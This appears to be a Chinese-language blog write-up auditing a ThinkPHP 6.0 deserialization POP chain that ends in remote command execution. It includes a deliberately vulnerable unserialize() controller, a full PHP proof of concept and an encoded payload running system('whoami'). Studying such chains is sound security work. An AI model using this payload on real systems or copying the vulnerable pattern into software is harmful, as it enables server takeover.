0x01 環境搭建
使用composer進行安裝:
composer create-project topthink/think=6.0.x-dev TPv6.0
cd TPv6.0
php think run
定義入口文件app\controller\Index.php
:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index($payload='')
{
//echo $payload;
unserialize($payload);
}
}
0x02 __destruct鏈分析
(1)尋找__destruct()
反序列化POP鏈的起點通常是__destruct()
函數,這次漏洞的觸發點位於vendor\topthink\think-orm\src\Model.php
中Model
類的__destruct
析構函數:
當滿足$this->lazySave==true
時,將會調用$this->save()
,繼續跟進。
(2)跟進save()
首先要想不被return掉,需要滿足下面整個if語句:
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
- 先跟進
$this->isEmpty()
:只需要滿足$this->data
不爲空即可。
- 再跟進
$this->trigger()
:只需要滿足$this->withEvent == false
即可返回true。
在通過if語句之後,會進入到:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
當$this->exists == true
時進入$this->updateData()
;當$this->exists == false
時進入$this->insertData()
。
分別跟進,發現updateData()
存在繼續利用的點,所以需要$this->exists == true
,跟進分析。
(3)跟進updateData()
這裏下一步的利用點存在於$this->checkAllowFields()
中,但是要調用該函數,需要通過①②兩處的if語句:
① 與之前save()
中的一樣,只需要令$this->withEvent == false
即可通過。
② 需要$data == 1
,所以我們跟進$this->getChangedData()
看一下:
只需要令$this->force == true
,即可直接返回$this-data
,而我們之前也需要設置$this-data
爲非空。
回到updateData()
中,之後就可以成功調用到了$this->checkAllowFields()
。
(4)跟進checkAllowFields()
下一步的利用點在$this->db()
中,所以我們需要令$this->field
和$this->schema
均爲空才能調用到它:
但可以看到這兩個地方默認爲空,所以不需要進行構造,然後進一步跟進$this->db()
。
(5)跟進db()
可以看到這裏已經存在了用.
進行字符串連接的操作了, 所以把$this->table
或 $this->suffix
設置成響應類對象就可以觸發__toString()
了。
(6)__destruct()鏈小結
目前爲止,前半條POP鏈已經完成,即可以通過字符串拼接去調用__toString()
,所以先總結一下我們需要設置的點:
$this->data不爲空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
調用過程如下:
但是還有一個問題就是Model
類是抽象類,不能實例化。所以要想利用,得找出Model
類的一個子類進行實例化,這裏可以用Pivot
類進行利用。
0x03 __toString()鏈分析
(1)尋找__toString()
既然前半條POP鏈已經能夠觸發__toString()
,下面就是尋找利用點。這次漏洞的__toString()
利用點位於vendor\topthink\think-orm\src\model\concern\Conversion.php
中名爲Conversion
的trait中。
很簡單,跟進toJson()
。
(2)跟進toJson()
沒什麼好說的,繼續跟進toArray()
。
(3)跟進toArray()
對$date
進行遍歷,其中$key
爲$date
的鍵。默認情況下,會進入第二個elseif
語句,從而已$key
作爲參數調用getAttr()
函數。
接着跟進getAttr()
。
(4)跟進getAttr()
位於vendor\topthink\think-orm\src\model\concern\Attribute.php
中:
$value
返回自$this->getData()
,且參數爲toArray()
傳進來的$key
,跟進一下getData()
:
繼續跟進getRealFieldName()
:
當滿足$this->strict == true
時(默認爲true),直接返回$name
,也就是最開始從toArray()
中傳進來的$key
值。
從getRealFieldName()
回到getData()
,此時$fieldName
即爲$key
。而返回語句如下,實際上就是返回了$this->data[$key]
。
然後再從getData()
回到getAttr()
,最後的返回語句如下:
return $this->getValue($name, $value, $relation);
這時參數$name
則是從toArray()
傳進來的$key
,而參數$value
的值就是$this->data[$key]
。
繼續跟進一下getValue()
(5)跟進getValue()
首先$fieldName
的值來自經過getRealFieldName()
處理的$key
值,而當$this->strict == true
時,是不做處理直接返回的,所以$fieldName
的值就爲$key
。
跟進一下getRealFieldName()
:
然後需要通過兩個if語句,滿足的條件爲:$this->withAttr
數組存在和$date
一樣的鍵$key
,並且這個鍵對應的值不能爲數組。
這樣的話,就會把$this->withAttr[$key]
(withAttr
數組$key
鍵對應的值)當做函數名動態執行,參數爲$this->date[$key]
。
例如:
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];
實際上最後執行的即爲system('whoami')
(6)__toString()鏈小結
至此,後半個POP鏈也構造完成,小結一下需要構造的點:
trait Attribute
{
private $data = ["axin" => "dir"];
private $withAttr = ["axin" => "system"];
}
除此之外還需要將前面說的table
聲明爲Pivot類對象,從而將兩個POP鏈串聯起來。
第二個POP鏈調用過程如下:
0x04 POC
最終POC如下:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["Lethe" => "whoami"];
private $withAttr = ["Lethe" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
運行得到payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D
結果如下:
0x05 後記
第一次對ThinkPHP框架進行真實漏洞的審計,參考着大佬們的分析文章才弄明白了。其實一步一步理解這個反序列化漏洞的流程並不是特別困難,主要還是自己對ThinkPHP框架不熟悉、對PHP命名空間的概念也不是特別清晰,導致在編寫POC的過程中遇到了些問題。之前一直處於只做CTF題目的狀態,以後還是得要多做做代碼審計,找個時間把thinkphp手冊過一遍吧,tcl。